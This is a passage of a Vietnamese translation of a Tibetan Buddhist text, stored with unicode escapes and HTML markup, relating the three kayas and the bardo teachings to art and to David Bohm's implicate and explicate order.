bi\u1ec3u l\u1ed9 c\u1ee7a ch\u1ee9ng ng\u1ed9, d\u01b0\u1edbi v\u00f4 v\u00e0n h\u00ecnh th\u1ec3 v\u00e0 c\u00e1ch th\u1ee9c, trong th\u1ebf gi\u1edbi v\u1eadt l\u00ed. V\u1ec1 truy\u1ec1n th\u1ed1ng n\u00f3 \u0111\u01b0\u1ee3c x\u00e1c \u0111\u1ecbnh theo ba c\u00e1ch. M\u1ed9t l\u00e0 bi\u1ec3u l\u1ed9 c\u1ee7a Ph\u1eadt to\u00e0n gi\u00e1c, nh\u01b0 Gautama Siddhartha, ng\u01b0\u1eddi \u0111\u01b0\u1ee3c sinh v\u00e0o trong th\u1ebf gi\u1edbi n\u00e0y v\u00e0 truy\u1ec1n d\u1ea1y trong th\u1ebf gi\u1edbi; c\u00e1ch kh\u00e1c l\u00e0 th\u00f4ng qua nh\u1eefng ng\u01b0\u1eddi c\u00f3 v\u1ebb b\u00ecnh th\u01b0\u1eddng nh\u01b0ng \u0111\u01b0\u1ee3c \u0111\u1eb7c \u00e2n mang n\u0103ng l\u1ef1c \u0111\u1eb7c bi\u1ec7t l\u00e0m l\u1ee3i cho ng\u01b0\u1eddi kh\u00e1c: m\u1ed9t v\u1ecb ho\u00e1 th\u00e2n (tulku); v\u00e0 th\u1ee9 ba th\u1ef1c t\u1ea1i l\u00e0 m\u1ed9t ng\u01b0\u1eddi \u1edf m\u1ee9c \u0111\u1ed9 ch\u1ee9ng ng\u1ed9 n\u00e0o \u0111\u00f3, l\u00e0m vi\u1ec7c \u0111\u1ec3 \u0111em l\u1ea1i \u00edch l\u1ee3i v\u00e0 t\u1ea1o h\u1ee9ng kh\u1edfi cho nh\u1eefng ng\u01b0\u1eddi kh\u00e1c th\u00f4ng qua c\u00e1c lo\u1ea1i h\u00ecnh ngh\u1ec7 thu\u1eadt, ngh\u1ec1 th\u1ee7 c\u00f4ng v\u00e0 khoa h\u1ecdc \u0111a d\u1ea1ng. Trong tr\u01b0\u1eddng h\u1ee3p c\u1ee7a h\u1ecd, s\u1ef1 th\u00f4i th\u00fac ch\u1ee9ng ng\u1ed9 l\u00e0, nh\u01b0 \u0110\u1ea1i s\u01b0 Kalu n\u00f3i, &#8220;vi\u1ec7c di\u1ec5n \u0111\u1ea1t t\u1ef1 ph\u00e1t, nh\u01b0 \u00e1nh s\u00e1ng to\u1ea3 ra t\u1eeb m\u1eb7t tr\u1eddi m\u00e0 kh\u00f4ng c\u1ea7n m\u1eb7t tr\u1eddi ph\u1ea3i ch\u1ec9 \u0111\u1ea1o hay cho b\u1ea5t k\u00ec \u00fd ngh\u0129 c\u00f3 \u00fd th\u1ee9c g\u00ec v\u1ec1 vi\u1ec7c \u0111\u00f3. C\u00f3 m\u1eb7t tr\u1eddi, v\u00e0 n\u00f3 to\u1ea3 s\u00e1ng.&#8221;<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a> Cho n\u00ean ng\u01b0\u1eddi ta kh\u00f4ng th\u1ec3 gi\u1ea3i th\u00edch v\u1ec1 s\u1ee9c m\u1ea1nh v\u00e0 b\u1ea3n t\u00ednh c\u1ee7a c\u00e1c thi\u00ean t\u00e0i ngh\u1ec7 thu\u1eadt l\u00e0 b\u1eaft ngu\u1ed3n t\u1eeb h\u1ee9ng kh\u1edfi t\u1ed1i th\u01b0\u1ee3ng c\u1ee7a n\u00f3 theo chi\u1ec1u h\u01b0\u1edbng c\u1ee7a Ch\u00e2n l\u00ed \u0111\u01b0\u1ee3c sao?<\/p>\n<p>\u0110i\u1ec1u n\u00e0y kh\u00f4ng c\u00f3 ngh\u0129a l\u00e0 c\u00e1c ngh\u1ec7 s\u0129 l\u1edbn theo c\u00e1ch n\u00e0o \u0111\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c n\u00f3i l\u00e0 \u0111\u00e3 ch\u1ee9ng ng\u1ed9; t\u1eeb cu\u1ed9c \u0111\u1eddi c\u1ee7a h\u1ecd r\u00f5 r\u00e0ng h\u1ecd kh\u00f4ng ph\u1ea3i l\u00e0 ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9. D\u1ea7u v\u1eady c\u0169ng r\u00f5 r\u00e0ng l\u00e0 h\u1ecd c\u00f3 th\u1ec3, trong nh\u1eefng kho\u1ea3nh kh\u1eafc m\u1ea5u ch\u1ed1t v\u00e0 trong \u0111i\u1ec1u ki\u1ec7n ngo\u1ea1i l\u1ec7 n\u00e0o \u0111\u00f3, l\u00e0 c\u00f4ng c\u1ee5 v\u00e0 k\u00eanh d\u1eabn cho n\u0103ng l\u01b0\u1ee3ng ch\u1ee9ng ng\u1ed9. Nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 th\u1ef1c s\u1ef1 nghe c\u00e1c ki\u1ec7t t\u00e1c v\u0129 \u0111\u1ea1i c\u1ee7a Beethoven hay Mozart, li\u1ec7u c\u00f3 th\u1ec3 ph\u1ee7 nh\u1eadn \u0111\u01b0\u1ee3c r\u1eb1ng c\u00f3 m\u1ed9t chi\u1ec1u th\u1eddi gian kh\u00e1c d\u01b0\u1eddng nh\u01b0 bi\u1ec3u l\u1ed9 qua t\u00e1c ph\u1ea9m c\u1ee7a h\u1ecd kh\u00f4ng? V\u00e0 nh\u1eefng ng\u01b0\u1eddi ng\u1eafm nh\u00ecn c\u00e1c nh\u00e0 th\u1edd v\u0129 \u0111\u1ea1i c\u1ee7a Ch\u00e2u \u00c2u Trung c\u1ed5 nh\u01b0 Chartres, hay c\u00e1c \u0111\u1ec1n th\u1edd H\u1ed3i gi\u00e1o \u1edf Isfahan, hay c\u00e1c b\u1ee9c \u0111i\u00eau kh\u1eafc \u1edf \u0102ng co, hay v\u1ebb \u0111\u1eb9p v\u00e0 s\u1ef1 phong ph\u00fa c\u1ee7a c\u00e1c \u0111\u1ec1n Hindu \u1edf Ellora, c\u00f3 th\u1ec3 kh\u00f4ng th\u1ea5y ra r\u1eb1ng c\u00e1c ngh\u1ec7 s\u0129 \u0111\u00e3 s\u00e1ng t\u1ea1o ra ch\u00fang \u0111\u1ec1u tr\u1ef1c ti\u1ebfp \u0111\u01b0\u1ee3c h\u1ee9ng kh\u1edfi b\u1edfi m\u1ed9t n\u0103ng l\u01b0\u1ee3ng b\u1eaft ngu\u1ed3n t\u1eeb n\u1ec1n t\u1ea3ng v\u00e0 ng\u1ecdn ngu\u1ed3n c\u1ee7a m\u1ecdi v\u1eadt \u0111\u01b0\u1ee3c kh\u00f4ng?<\/p>\n<p>T\u00f4i coi m\u1ed9t c\u00f4ng tr\u00ecnh ngh\u1ec7 thu\u1eadt l\u1edbn t\u1ef1a nh\u01b0 m\u1eb7t tr\u0103ng chi\u1ebfu s\u00e1ng tr\u1eddi \u0111\u00eam; n\u00f3 l\u00e0m th\u1ebf gi\u1edbi s\u00e1ng l\u00ean, v\u1eady m\u00e0 \u00e1nh s\u00e1ng kh\u00f4ng l\u00e0 c\u1ee7a ri\u00eang n\u00f3 m\u00e0 \u0111\u01b0\u1ee3c vay m\u01b0\u1ee3n t\u1eeb m\u1eb7t tr\u1eddi \u1ea9n k\u00edn c\u1ee7a c\u00e1i tuy\u1ec7t \u0111\u1ed1i. Ngh\u1ec7 thu\u1eadt \u0111\u00e3 gi\u00fap cho nhi\u1ec1u ng\u01b0\u1eddi h\u01b0\u1edbng t\u1edbi vi\u1ec7c vi\u1ec7c tho\u00e1ng nh\u00ecn b\u1ea3n t\u00ednh c\u1ee7a t\u00e2m linh. Tuy nhi\u00ean, ph\u1ea3i ch\u0103ng m\u1ed9t trong nh\u1eefng l\u00ed do cho gi\u1edbi h\u1ea1n c\u1ee7a nhi\u1ec1u cho ngh\u1ec7 thu\u1eadt hi\u1ec7n \u0111\u1ea1i l\u00e0 \u1edf ch\u1ed7 m\u1ea5t tri th\u1ee9c n\u00e0y v\u1ec1 ngu\u1ed3n g\u1ed1c linh thi\u00eang v\u00f4 h\u00ecnh v\u00e0 ch\u1ee7 \u0111\u1ecbnh linh thi\u00eang c\u1ee7a n\u00f3: cho m\u1ecdi ng\u01b0\u1eddi c\u00e1i nh\u00ecn v\u1ec1 b\u1ea3n t\u00ednh th\u1ef1c v\u00e0 v\u1ecb tr\u00ed c\u1ee7a h\u1ecd trong v\u0169 tr\u1ee5, v\u00e0 kh\u00f4i ph\u1ee5c l\u1ea1i cho h\u1ecd, l\u00e0m t\u01b0\u01a1i m\u1edbi v\u00f4 t\u1eadn, gi\u00e1 tr\u1ecb v\u00e0 ngh\u0129a c\u1ee7a s\u1ef1 s\u1ed1ng, v\u00e0 nh\u1eefng kh\u1ea3 n\u0103ng v\u00f4 h\u1ea1n c\u1ee7a n\u00f3? Th\u1ebf th\u00ec ph\u1ea3i ch\u0103ng ngh\u0129a th\u1ef1c c\u1ee7a vi\u1ec7c di\u1ec5n \u0111\u1ea1t ngh\u1ec7 thu\u1eadt h\u1ee9ng kh\u1edfi, l\u00e0 \u1edf ch\u1ed7 n\u00f3 na n\u00e1 v\u1edbi l\u0129nh v\u1ef1c c\u1ee7a B\u00e1o th\u00e2n, chi\u1ec1u h\u01b0\u1edbng c\u1ee7a n\u0103ng l\u01b0\u1ee3ng ph\u00fac l\u1ea1c, ch\u00f3i s\u00e1ng, kh\u00f4ng d\u1eebng, \u0111i\u1ec1u m\u00e0 Rilke g\u1ecdi l\u00e0 &#8220;n\u0103ng l\u01b0\u1ee3ng ch\u1eafp c\u00e1nh c\u1ee7a s\u1ef1 vui s\u01b0\u1edbng,&#8221; vi\u1ec7c to\u1ea3 s\u00e1ng \u0111\u00f3 truy\u1ec1n ph\u00e1t, chuy\u1ec3n d\u1ecbch v\u00e0 giao ti\u1ebfp ngh\u0129a thu\u1ea7n khi\u1ebft v\u00e0 v\u00f4 h\u1ea1n c\u1ee7a c\u00e1i tuy\u1ec7t \u0111\u1ed1i cho c\u00e1i h\u1eefu h\u1ea1n v\u00e0 t\u01b0\u01a1ng \u0111\u1ed1i, n\u00f3i c\u00e1ch kh\u00e1c, t\u1eeb Ph\u00e1p th\u00e2n t\u1edbi Ho\u00e1 th\u00e2n?<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>C\u00c1I NH\u00ccN HI\u1ec2N L\u1ed8 V\u1ec0 T\u00cdNH TO\u00c0N TH\u1ec2<\/p>\n<p>M\u1ed9t trong nhi\u1ec1u c\u00e1ch m\u00e0 theo \u0111\u00f3 t\u1ea5m g\u01b0\u01a1ng c\u1ee7a \u0110\u1ee9c \u0110\u1ea1t lai L\u1ea1t ma \u0111\u00e3 g\u00e2y h\u1ee9ng kh\u1edfi cho t\u00f4i l\u00e0 \u1edf s\u1ef1 t\u00f2 m\u00f2 kh\u00f4ng bao gi\u1edd d\u1ee9t c\u1ee7a \u00f4ng \u1ea5y, v\u00e0 t\u00ednh m\u1edf, v\u1edbi m\u1ecdi kh\u00eda c\u1ea1nh v\u00e0 m\u1ecdi kh\u00e1m ph\u00e1 \u0111a d\u1ea1ng c\u1ee7a khoa h\u1ecdc hi\u1ec7n \u0111\u1ea1i.<a href=\"#_edn3\" name=\"_ednref3\">[iii]<\/a> Sau r\u1ed1t, Ph\u1eadt gi\u00e1o th\u01b0\u1eddng \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;khoa h\u1ecdc v\u1ec1 t\u00e2m tr\u00ed,&#8221; v\u00e0 v\u00ec t\u00f4i th\u01b0\u1eddng suy ng\u1eabm v\u1ec1 c\u00e1c gi\u00e1o hu\u1ea5n trung \u1ea5m, ch\u00ednh s\u1ef1 ch\u00ednh x\u00e1c v\u00e0 bao la v\u00e0 r\u00f5 r\u00e0ng \u0111\u00fang m\u1ef1c c\u1ee7a ch\u00fang l\u00e0m cho t\u00f4i c\u1ea3m \u0111\u1ed9ng l\u1eb7p \u0111i l\u1eb7p l\u1ea1i cho t\u1edbi th\u1ea5y k\u00ednh n\u1ec3 v\u00e0 bi\u1ebft \u01a1n. N\u1ebfu Ph\u1eadt gi\u00e1o l\u00e0 khoa h\u1ecdc v\u1ec1 t\u00e2m tr\u00ed, th\u1ebf th\u00ec v\u1edbi t\u00f4i \u0110\u1ea1i To\u00e0n thi\u1ec7n v\u00e0 c\u00e1c gi\u00e1o hu\u1ea5n trung \u1ea5m \u0111\u1ea1i di\u1ec7n cho b\u1ea3n ch\u1ea5t t\u00e2m c\u1ee7a khoa h\u1ecdc \u0111\u00f3, h\u1ea1t m\u1ea7m th\u1ef1c ti\u1ec5n v\u00e0 c\u00e1i nh\u00ecn b\u00ean trong nh\u1ea5t, \u0111\u1ec3 t\u1eeb \u0111\u00f3 c\u00e2y bao la c\u00e1c th\u1ef1c ch\u1ee9ng t\u01b0\u01a1ng quan l\u1eabn nhau n\u1edf hoa v\u00e0 s\u1ebd ti\u1ebfp t\u1ee5c n\u1edf hoa theo nh\u1eefng c\u00e1ch kh\u00f4ng th\u1ec3 h\u00ecnh dung n\u1ed5i, khi nh\u00e2n lo\u1ea1i ti\u1ebfp t\u1ee5c ti\u1ebfn ho\u00e1.<\/p>\n<p>Qua nhi\u1ec1u n\u0103m v\u00e0 qua nhi\u1ec1u cu\u1ed9c h\u1ecdp v\u1edbi c\u00e1c nh\u00e0 khoa h\u1ecdc thu\u1ed9c \u0111\u1ee7 m\u1ecdi lo\u1ea1i, t\u00f4i ng\u00e0y c\u00e0ng tr\u1edf n\u00ean tin h\u01a1n v\u00e0o s\u1ef1 phong ph\u00fa c\u1ee7a nh\u1eefng \u0111i\u1ec1u song h\u00e0nh gi\u1eefa gi\u00e1o hu\u1ea5n c\u1ee7a Ph\u1eadt v\u00e0 nh\u1eefng kh\u00e1m ph\u00e1 c\u1ee7a v\u1eadt l\u00ed hi\u1ec7n \u0111\u1ea1i. May m\u1eafn l\u00e0 nhi\u1ec1u ng\u01b0\u1eddi ti\u00ean phong khoa h\u1ecdc v\u00e0 tri\u1ebft h\u1ecdc c\u1ee7a ph\u01b0\u01a1ng T\u00e2y c\u0169ng \u0111\u00e3 tr\u1edf n\u00ean nh\u1eadn bi\u1ebft t\u1edbi nh\u1eefng song h\u00e0nh n\u00e0y v\u00e0 \u0111ang th\u0103m d\u00f2 ch\u00fang m\u1ed9t c\u00e1ch kh\u00e9o l\u00e9o v\u00e0 \u0111\u1ea7y nhi\u1ec7t t\u00ecnh. M\u1ed9t c\u1ea3m gi\u00e1c n\u1ea3y sinh t\u1eeb cu\u1ed9c \u0111\u1ed1i tho\u1ea1i gi\u1eefa huy\u1ec1n b\u00ed, khoa h\u1ecdc v\u1ec1 t\u00e2m tr\u00ed v\u00e0 t\u00e2m th\u1ee9c, v\u00e0 \u0111a d\u1ea1ng ngh\u00ecnh khoa h\u1ecdc v\u1eadt ch\u1ea5t, m\u1ed9t c\u00e1i nh\u00ecn m\u1edbi v\u1ec1 v\u0169 tr\u1ee5 v\u00e0 tr\u00e1ch nhi\u1ec7m c\u1ee7a ch\u00fang ta v\u1edbi n\u00f3 c\u00f3 th\u1ec3 n\u1ed5 r\u00f5 l\u00ean. T\u00f4i c\u00e0ng ng\u00e0y c\u00e0ng b\u1ecb thuy\u1ebft ph\u1ee5c r\u1eb1ng b\u1ea3n th\u00e2n c\u00e1c gi\u00e1o hu\u1ea5n trung \u1ea5m, v\u1edbi qu\u00e1 tr\u00ecnh ba kh\u00eda c\u1ea1nh c\u1ee7a hi\u1ec3n l\u1ed9, c\u00f3 \u0111\u00f3ng g\u00f3p duy nh\u1ea5t \u0111\u1ec3 t\u1ea1o ra \u0111\u1ed1i tho\u1ea1i n\u00e0y.<\/p>\n<p>T\u1eeb m\u1ecdi ph\u01b0\u01a1ng \u00e1n c\u00f3 th\u1ec3, t\u00f4i mu\u1ed1n h\u1ed9i t\u1ee5 \u1edf \u0111\u00e2y v\u00e0o m\u1ed9t c\u00e1ch nh\u00ecn khoa h\u1ecdc \u0111\u1eb7c bi\u1ec7t, \u0111i\u1ec1u \u0111\u1eb7c bi\u1ec7t l\u00f4i cu\u1ed1n t\u00f4i &#8211; \u0111\u00f3 l\u00e0 c\u00e1ch nh\u00ecn c\u1ee7a nh\u00e0 v\u1eadt l\u00ed David Bohm. Bohm \u0111\u00e3 h\u00ecnh dung m\u1ed9t c\u00e1ch ti\u1ebfp c\u1eadn m\u1edbi t\u1edbi th\u1ef1c t\u1ea1i m\u00e0, trong khi v\u1eabn c\u00f2n \u0111ang \u0111\u01b0\u1ee3c tranh lu\u1eadn s\u00f4i n\u1ed5i, \u0111\u00e3 g\u00e2y h\u1ee9ng kh\u1edfi cho \u0111\u00e1p \u1ee9ng \u0111\u1ed3ng t\u00ecnh l\u1edbn t\u1eeb c\u00e1c nh\u00e0 nghi\u00ean c\u1ee9u thu\u1ed9c \u0111\u1ee7 m\u1ecdi b\u1ed9 m\u00f4n kh\u00e1c nhau t\u1eeb b\u1ea3n th\u00e2n v\u1eadt l\u00ed, y h\u1ecdc, sinh h\u1ecdc, to\u00e1n h\u1ecdc, th\u1ea7n kinh h\u1ecdc, t\u00e2m th\u1ea7n h\u1ecdc, v\u00e0 trong c\u00e1c ngh\u1ec7 s\u0129 v\u00e0 tri\u1ebft gia. David Bohm quan ni\u1ec7m m\u1ed9t c\u00e1ch ti\u1ebfp c\u1eadn khoa h\u1ecdc m\u1edbi t\u1edbi th\u1ef1c t\u1ea1i d\u1ef1a tr\u00ean, nh\u01b0 gi\u00e1o hu\u1ea5n trung \u1ea5m l\u00e0 v\u1eady, s\u1ef1 hi\u1ec3u bi\u1ebft v\u1ec1 t\u00ednh to\u00e0n b\u1ed9 v\u00e0 t\u00ednh m\u1ed9t c\u1ee7a s\u1ef1 t\u1ed3n t\u1ea1i nh\u01b0 m\u1ed9t t\u1ed5ng th\u1ec3 kh\u00f4ng ph\u00e1 hu\u1ef7 \u0111\u01b0\u1ee3c v\u00e0 kh\u00f4ng d\u1eebng.<\/p>\n<p>Tr\u1eadt t\u1ef1 n\u0103ng \u0111\u1ed9ng, \u0111a chi\u1ec1u m\u00e0 \u00f4ng \u1ea5y th\u1ea5y \u0111ang v\u1eadn h\u00e0nh trong v\u0169 tr\u1ee5 v\u1ec1 b\u1ea3n ch\u1ea5t c\u00f3 ba kh\u00eda c\u1ea1nh. Kh\u00eda c\u1ea1nh hi\u1ec3n nhi\u00ean nh\u1ea5t l\u00e0 th\u1ebf gi\u1edbi ba chi\u1ec1u c\u1ee7a ch\u00fang ta bao g\u1ed3m c\u00e1c \u0111\u1ed1i th\u1ec3, kh\u00f4ng gian v\u00e0 th\u1eddi gian, m\u00e0 \u00f4ng \u1ea5y g\u1ecdi l\u00e0 tr\u1eadt t\u1ef1 <em>hi\u1ec3n l\u1ed9<\/em> hay <em>gi\u1ea3i th\u00edch \u0111\u01b0\u1ee3c<\/em>. \u00d4ng \u1ea5y tin tr\u1eadt t\u1ef1 n\u00e0y \u0111\u01b0\u1ee3c bi\u1ec3u l\u1ed9 t\u1eeb c\u00e1i g\u00ec? T\u1eeb m\u1ed9t m\u1ed9t tr\u01b0\u1eddng ph\u1ed5 qu\u00e1t, kh\u00f4ng b\u1ecb ph\u00e1 v\u1ee1, &#8220;n\u1ec1n t\u1ea3ng b\u00ean ngo\u00e0i th\u1eddi gian,&#8221; m\u1ed9t tr\u1eadt t\u1ef1 <em>ng\u1ea7m \u1ea9n<\/em> ho\u1eb7c <em>\u0111\u01b0\u1ee3c bao b\u1ecdc<\/em>, nh\u01b0 c\u00e1ch \u00f4ng \u1ea5y \u0111\u1eb7t thu\u1eadt ng\u1eef cho n\u00f3, c\u00e1i l\u00e0 n\u1ec1n t\u1ea3ng bao h\u00e0m t\u1ea5t c\u1ea3 cho to\u00e0n th\u1ec3 kinh nghi\u1ec7m c\u1ee7a ch\u00fang ta. \u00d4ng \u1ea5y th\u1ea5y m\u1ed1i quan h\u1ec7 gi\u1eefa hai tr\u1eadt t\u1ef1 n\u00e0y l\u00e0 m\u1ed9t qu\u00e1 tr\u00ecnh li\u00ean t\u1ee5c trong \u0111\u00f3 c\u00e1i \u0111\u01b0\u1ee3c hi\u1ec3n l\u1ed9 trong tr\u1eadt t\u1ef1 gi\u1ea3i th\u00edch l\u1ea1i \u0111\u01b0\u1ee3c bao l\u1ea1i v\u00e0o trong tr\u1eadt t\u1ef1 ng\u1ea7m \u1ea9n. Khi ngu\u1ed3n n\u00e0y t\u1ed5 ch\u1ee9c qu\u00e1 tr\u00ecnh n\u00e0y th\u00e0nh \u0111a d\u1ea1ng c\u1ea5u tr\u00fac, \u00f4ng \u1ea5y &#8220;\u0111\u1ec1 ngh\u1ecb&#8221; (m\u1ed9t t\u1eeb \u00f4ng \u1ea5y hay d\u00f9ng v\u00ec to\u00e0n th\u1ec3 tri\u1ebft h\u1ecdc c\u1ee7a \u00f4ng \u1ea5y l\u00e0 \u1edf ch\u1ed7 c\u00e1c \u00fd t\u01b0\u1edfng ph\u1ea3i \u0111\u01b0\u1ee3c t\u1ea1o ra t\u1eeb m\u1ed9t lu\u1ed3ng \u0111\u1ed1i tho\u1ea1i t\u1ef1 do, v\u00e0 bao gi\u1edd c\u0169ng mong manh) m\u1ed9t tr\u1eadt t\u1ef1 <em>si\u00eau ng\u1ea7m \u1ea9n<\/em>, chi\u1ec1u v\u00f4 h\u1ea1n v\u1ec1 ti\u1ec1m n\u0103ng v\u00e0 v\u1eady m\u00e0 tinh vi h\u01a1n.<\/p>\n<p>Ch\u1eb3ng l\u1ebd m\u1ed9t s\u1ef1 song h\u00e0nh s\u1ed1ng \u0111\u1ed9ng kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c v\u1ebd ra gi\u1eefa ba tr\u1eadt t\u1ef1 n\u00e0y v\u00e0 ba th\u00e2n v\u00e0 qu\u00e1 tr\u00ecnh c\u1ee7a c\u00e1c trung \u1ea5m sao? Nh\u01b0 David Bohm n\u00f3i: &#8220;\u0110\u1ec3 b\u1eaft \u0111\u1ea7u, to\u00e0n th\u1ec3 kh\u00e1i ni\u1ec7m v\u1ec1 tr\u1eadt t\u1ef1 ng\u1ea7m \u1ea9n l\u00e0 c\u00e1ch th\u1ea3o lu\u1eadn v\u1ec1 ngu\u1ed3n g\u1ed1c c\u1ee7a h\u00ecnh th\u1ec3 n\u1ea3y sinh t\u1eeb c\u00e1i v\u00f4 h\u00ecnh, th\u00f4ng qua qu\u00e1 tr\u00ecnh gi\u1ea3i th\u00edch hay hi\u1ec3n l\u1ed9.&#8221;<a href=\"#_edn4\" name=\"_ednref4\">[iv]<\/a><\/p>\n<p>T\u00f4i \u0111\u01b0\u1ee3c h\u1ee9ng kh\u1edfi b\u1edfi vi\u1ec7c m\u1edf r\u1ed9ng c\u00f3 t\u00ednh t\u01b0\u1edfng t\u01b0\u1ee3ng c\u1ee7a David Bohm v\u1ec1 c\u00e1ch hi\u1ec3u n\u00e0y v\u1ec1 v\u1eadt ch\u1ea5t n\u1ea3y sinh t\u1eeb v\u1eadt l\u00ed l\u01b0\u1ee3ng t\u1eed t\u1edbi b\u1ea3n th\u00e2n t\u00e2m th\u1ee9c, m\u1ed9t b\u01b0\u1edbc nh\u1ea3y m\u00e0 t\u00f4i ngh\u0129 s\u1ebd \u0111i t\u1edbi \u0111\u01b0\u1ee3c xem nh\u01b0 c\u00e0ng ng\u00e0y c\u00e0ng c\u1ea7n thi\u1ebft khi khoa h\u1ecdc m\u1edf r\u1ed9ng v\u00e0 ti\u1ebfn ho\u00e1. \u00d4ng \u1ea5y n\u00f3i: &#8220;T\u00e2m tr\u00ed c\u00f3 th\u1ec3 c\u00f3 c\u1ea5u tr\u00fac t\u01b0\u01a1ng t\u1ef1 nh\u01b0 v\u0169 tr\u1ee5 v\u00e0 trong v\u1eadn \u0111\u1ed9ng n\u1ec1n t\u1ea3ng m\u00e0 ch\u00fang ta g\u1ecdi l\u00e0 kh\u00f4ng gian tr\u1ed1ng r\u1ed7ng th\u1ef1c t\u1ea1i c\u00f3 n\u0103ng l\u01b0\u1ee3ng v\u00f4 bi\u00ean, s\u1ef1 v\u1eadn \u0111\u1ed9ng. C\u00e1c h\u00ecnh th\u1ec3 \u0111\u1eb7c bi\u1ec7t xu\u1ea5t hi\u1ec7n trong t\u00e2m tr\u00ed c\u00f3 th\u1ec3 t\u01b0\u01a1ng t\u1ef1 nh\u01b0 c\u00e1c h\u1ea1t, v\u00e0 vi\u1ec7c \u0111i v\u00e0o n\u1ec1n t\u1ea3ng c\u1ee7a t\u00e2m tr\u00ed c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c c\u1ea3m th\u1ea5y nh\u01b0 \u00e1nh s\u00e1ng.&#8221;<a href=\"#_edn5\" name=\"_ednref5\">[v]<\/a><\/p>\n<p>\u0110i li\u1ec1n v\u1edbi kh\u00e1i ni\u1ec7m c\u1ee7a \u00f4ng \u1ea5y v\u1ec1 tr\u1eadt t\u1ef1 ng\u1ea7m \u1ea9n v\u00e0 gi\u1ea3i th\u00edch \u0111\u01b0\u1ee3c, David Bohm \u0111\u00e3 h\u00ecnh dung c\u00e1ch nh\u00ecn v\u00e0o m\u1ed1i quan h\u1ec7 gi\u1eefa tinh th\u1ea7n v\u00e0 v\u1eadt l\u00ed, gi\u1eefa t\u00e2m tr\u00ed v\u00e0 v\u00e0 v\u1eadt ch\u1ea5t, \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 <em>th\u00e2n th\u1ec3 -\u00fd ngh\u0129a<\/em>. Nh\u01b0 \u00f4ng \u1ea5y vi\u1ebft: &#8220;Kh\u00e1i ni\u1ec7m th\u00e2n th\u1ec3 \u00fd ngh\u0129a ng\u1ee5 \u00fd r\u1eb1ng th\u00e2n th\u1ec3 (hay v\u1eadt l\u00ed) v\u00e0 \u00fd ngh\u0129a c\u1ee7a n\u00f3 (th\u01b0\u1eddng l\u00e0 t\u00e2m tr\u00ed) kh\u00f4ng t\u1ed3n t\u1ea1i t\u00e1ch bi\u1ec7t theo b\u1ea5t k\u00ec ngh\u0129a n\u00e0o, nh\u01b0ng thay v\u00ec v\u1eady ch\u00fang l\u00e0 hai m\u1eb7t c\u1ee7a m\u1ed9t th\u1ef1c t\u1ea1i t\u1ed5ng th\u1ec3.&#8221;<a href=\"#_edn6\" name=\"_ednref6\">[vi]<\/a><\/p>\n<p>\u0110\u1ed1i v\u1edbi David Bohm, v\u0169 tr\u1ee5 bi\u1ec3u l\u1ed9 ba kh\u00eda c\u1ea1nh xo\u1eafn xu\u00fdt nhau: v\u1eadt ch\u1ea5t, n\u0103ng l\u01b0\u1ee3ng v\u00e0 ngh\u0129a.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb quan \u0111i\u1ec3m v\u1ec1 tr\u1eadt t\u1ef1 ng\u1ea7m \u1ea9n, n\u0103ng l\u01b0\u1ee3ng v\u00e0 v\u1eadt ch\u1ea5t \u0111\u01b0\u1ee3c th\u1ea5m nhu\u1ea7n b\u1edfi m\u1ed9t lo\u1ea1i \u00fd ngh\u0129a n\u00e0o \u0111\u00f3, c\u00e1i \u0111em h\u00ecnh th\u1ec3 cho ho\u1ea1t \u0111\u1ed9ng t\u1ed5ng th\u1ec3 c\u1ee7a ch\u00fang v\u00e0 cho v\u1eadt ch\u1ea5t c\u00e1i n\u1ea3y sinh trong ho\u1ea1t \u0111\u1ed9ng \u0111\u00f3. N\u0103ng l\u01b0\u1ee3ng c\u1ee7a t\u00e2m tr\u00ed v\u00e0 ch\u1ea5t li\u1ec7u v\u1eadt ch\u1ea5t c\u1ee7a n\u00e3o c\u0169ng \u0111\u01b0\u1ee3c th\u1ea5m nhu\u1ea7n b\u1edfi m\u1ed9t lo\u1ea1i \u00fd ngh\u0129a \u0111em h\u00ecnh th\u1ec3 cho ho\u1ea1t \u0111\u1ed9ng t\u1ed5ng th\u1ec3 c\u1ee7a ch\u00fang. Cho n\u00ean m\u1ed9t c\u00e1ch r\u1ea5t t\u1ed5ng qu\u00e1t, n\u0103ng l\u01b0\u1ee3ng bao l\u1ea5y v\u1eadt ch\u1ea5t v\u00e0 ngh\u0129a, trong khi v\u1eadt ch\u1ea5t bao n\u0103ng l\u01b0\u1ee3ng v\u00e0 ngh\u0129a&#8230; Cho n\u00ean t\u1eebng kh\u00e1i ni\u1ec7m c\u01a1 b\u1ea3n n\u00e0y bao hai kh\u00e1i ni\u1ec7m kia.<a href=\"#_edn7\" name=\"_ednref7\"><strong>[vii]<\/strong><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u0110\u01a1n gi\u1ea3n ho\u00e1 c\u00e1i nh\u00ecn \u0111\u01b0\u1ee3c tinh ch\u1ec9nh v\u00e0 tinh t\u1ebf ngo\u1ea1i l\u1ec7 n\u00e0y, b\u1ea1n c\u00f3 th\u1ec3 n\u00f3i r\u1eb1ng v\u1edbi David Bohm ngh\u0129a c\u00f3 t\u1ea7m quan tr\u1ecdng \u0111\u1eb7c bi\u1ec7t v\u00e0 r\u1ed9ng l\u1edbn. \u00d4ng \u1ea5y n\u00f3i: &#8220;Ng\u01b0\u1ee3c v\u1edbi c\u00e1ch nh\u00ecn th\u00f4ng th\u01b0\u1eddng, \u0111i\u1ec1u n\u00e0y ng\u1ee5 \u00fd l\u00e0 ngh\u0129a l\u00e0 m\u1ed9t ph\u1ea7n b\u1ea3n ch\u1ea5t v\u00e0 c\u1ed1 h\u1eefu c\u1ee7a to\u00e0n th\u1ec3 th\u1ef1c t\u1ea1i c\u1ee7a ch\u00fang ta, v\u00e0 n\u00f3 kh\u00f4ng ch\u1ec9 \u0111\u01a1n gi\u1ea3n l\u00e0 m\u1ed9t ph\u1ea9m ch\u1ea5t tr\u1eebu t\u01b0\u1ee3ng thu\u1ea7n tu\u00fd c\u00f3 s\u1ef1 t\u1ed3n t\u1ea1i 